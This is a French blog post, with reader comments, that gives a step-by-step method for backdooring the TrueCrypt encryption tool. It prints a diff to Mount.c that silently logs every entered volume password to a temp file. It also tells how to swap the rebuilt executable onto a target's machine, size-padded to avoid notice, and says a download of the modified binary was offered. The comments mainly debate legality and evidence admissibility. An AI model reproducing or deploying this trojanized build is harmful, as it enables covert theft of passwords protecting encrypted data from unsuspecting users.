lundi 2 août 2010

Truecrypt will never be the same, ya dun goof'd!

En recherche pour un travail préparatoire, j'ai eu a étudier Truecrypt. Truecrypt est un logiciel de chiffrement solide, ayant l'avantage de proposer en standard un système de Plausible Deniability. De plus, il a eu les honneurs de la presse on-line puisqu'il a empêché le FBI d'accéder à des données.

A l'époque, je m'étais interrogé: pourquoi donc est-ce que le FBI n'a pas accédé une première fois à la machine concernée pour lui corrompre son programme TrueCrypt avant de saisir sa machine? A noter que le disque système n'était pas chiffré, seul un container ayant les documents confidentiels était protégé par Truecrypt.
Est-il si compliqué que de le modifier pour qu'il logue les mots de passe quelque part? Il s'agit en effet d'un programme open source. La réponse tient en 6 lignes de code.

Voici donc comment faire pour récupérer les mots de passe de Truecrypt.
1/ Récupérer les sources de Truecrypt
2/ Lire le source de Mount.c et ajouter 6 lignes pour que chaque mot de passe entré dans la bonne case aille s'enregistrer dans un fichier.
3/ Recompiler
4/ Changer le truecrypt.exe sur la machine visée par le truecrypt.exe recompilé
5/ Profit

Le diff du fichier Mount.c :
$ diff Mount*
3455a3456,3463
> /// HACK
> {
> FILE *file = fopen("c:\\windows\\temp\\hack.log", "a");
> fprintf(file, "Trying password for '%s' was \"%s\"", szFileName, VolumePassword.Text);
> fclose(file);
> }
> /// UnHACK
>
3463a3472,3481
>
> /// HACK
> {
> FILE *file = fopen("c:\\windows\\temp\\hack.log", "a");
> fprintf(file, " ... status %d [%s]\n", mounted, (mounted > 0) ? "OK" : "ko");
> fclose(file);
> }
> /// UnHACK
>
>
Et j'offre le fichier Truecrypt.zip (le .exe) modifié en téléchargement. [ Edit 01/09/2010: Fin du téléchargement. ] Les .sys sont identiques entre la version originale et cette version. L'exe modifié est de plus un peu plus petit que l'original :-) Il est donc de fait possible d'ajouter quelques octets pour qu'il fasse une taille équivalente à l'original.

[ Testé en mode Truecrypt portable sur un XP SP3 32bits, fonctionne avec les mots de passe, pas les fichiers de clés. Thx 2 MGE. ]

12 commentaires:

  1. "pourquoi donc est-ce que le FBI n'a pas accédé une première fois à la machine concernée pour lui corrompre son programme TrueCrypt avant de saisir sa machine?"

    Probablement parce que ce n'est pas le FBI qui a saisi la machine, mais la police brésilienne. Le FBI n'a fait que proposer son aide.

    RépondreSupprimer
  2. le lien http://82.228.201.95/TrueCrypt.zip semble ne pas fonctionner :(

    RépondreSupprimer
  3. Lien corrigé; il s'agit de 82.228.201.195

    RépondreSupprimer
  4. Au passage; comme quoi, des fautes de frappe permettent de consulter une configuration Wifi WEP d'un freenaute...

    RépondreSupprimer
  5. Tu fais des "consultations" gratuites ? :)

    RépondreSupprimer
  6. @Sid: Police brésilienne ou FBI, même combat :) Il suffit de passer deux fois sur la machine.

    Ce genre de consultation n'est peut-être pas très éthique... Mais bon, le concept de "pwned by printer" reste intéressant.

    RépondreSupprimer
  7. Hi,

    Bon la pratique est intéressante mais bon c'est logique je dirais :p Ca reviens à dire : "j'ai backdoor ton pc en foutant un calc.exe modifié"
    Donc oui ca aurait pus être utile, non ce n'est pas extraordinaire.
    Ensuite on se posait la question avec quelques collègues de nibbles, juridiquement ca tiendrait la route ? J'entend par la un système de ce style mis en place sans autorisations?

    RépondreSupprimer
  8. Faut être relativement couillon pour toujours avoir confiance dans une machine saisie puis restituée par une entité gouvernementale. Et concernant ton post, j'en saisi pas vraiment le but ni l'essence et encore moins la démonstration fait dans ta démarche, ton prochain ticket c'est : modif d'un kernel pour loger les pass ? Pour le sur, les SK du coin vont être content. (mortel le .exe aussi :] y'a ton mail dedans ?)

    RépondreSupprimer
  9. @sanguinarius:
    Juridiquement? Je dirais: "Le fait d'accéder ou de se maintenir, frauduleusement, dans tout ou partie d'un système de traitement automatisé de données est puni de deux ans d'emprisonnement et de 30000 euros d'amende." L'article 323-1 du code pénal [Je parle pour la France, je ne connais pas la loi Brésilienne à ce sujet]

    @Anonyme:
    Pas besoin de saisie gouvernementale pour remplacer un fichier sur le disque.

    RépondreSupprimer
  10. Certes je connais la législation, mais avec autorisation des magistrats ou autre je pense que les gouvernements ont moyens de fillouter ce genre de chose :p

    Ensuite (pas en france) mais pour la justice americaine l'argumentation terroriste ca t'ouvre toute les portes.

    RépondreSupprimer
  11. @kevin, pour l'Europe, toute preuve obtenu de manière illégitime n'est pas recevable devant un tribunal, mais les temps changent c'est vrai (cf: l'affaire avec l'héritière de l'oreal) Après nous faisons que spéculer sans vraiment savoir.

    RépondreSupprimer
  12. @sanguinarius:
    Je ne sais pas si les juges peuvent autoriser ce genre de pratiques. Est-ce équivalent à une écoute téléphonique? A froid, j'aurais tendance à penser que oui. On s'introduit chez un particulier (ou son système) sans le prévenir, on introduit un dispositif d'écoute (ou un keylogger).
    Même principe, mêmes lois et jurisprudences? Il faudrait lire un peu de droit pour trancher je pense.

    @Anonyme:
    La question n'est pas de savoir si c'est légal ou non. La question est déjà de savoir s'il est possible de montrer que la preuve a été obtenue de manière illégale dans ce cas.

    RépondreSupprimer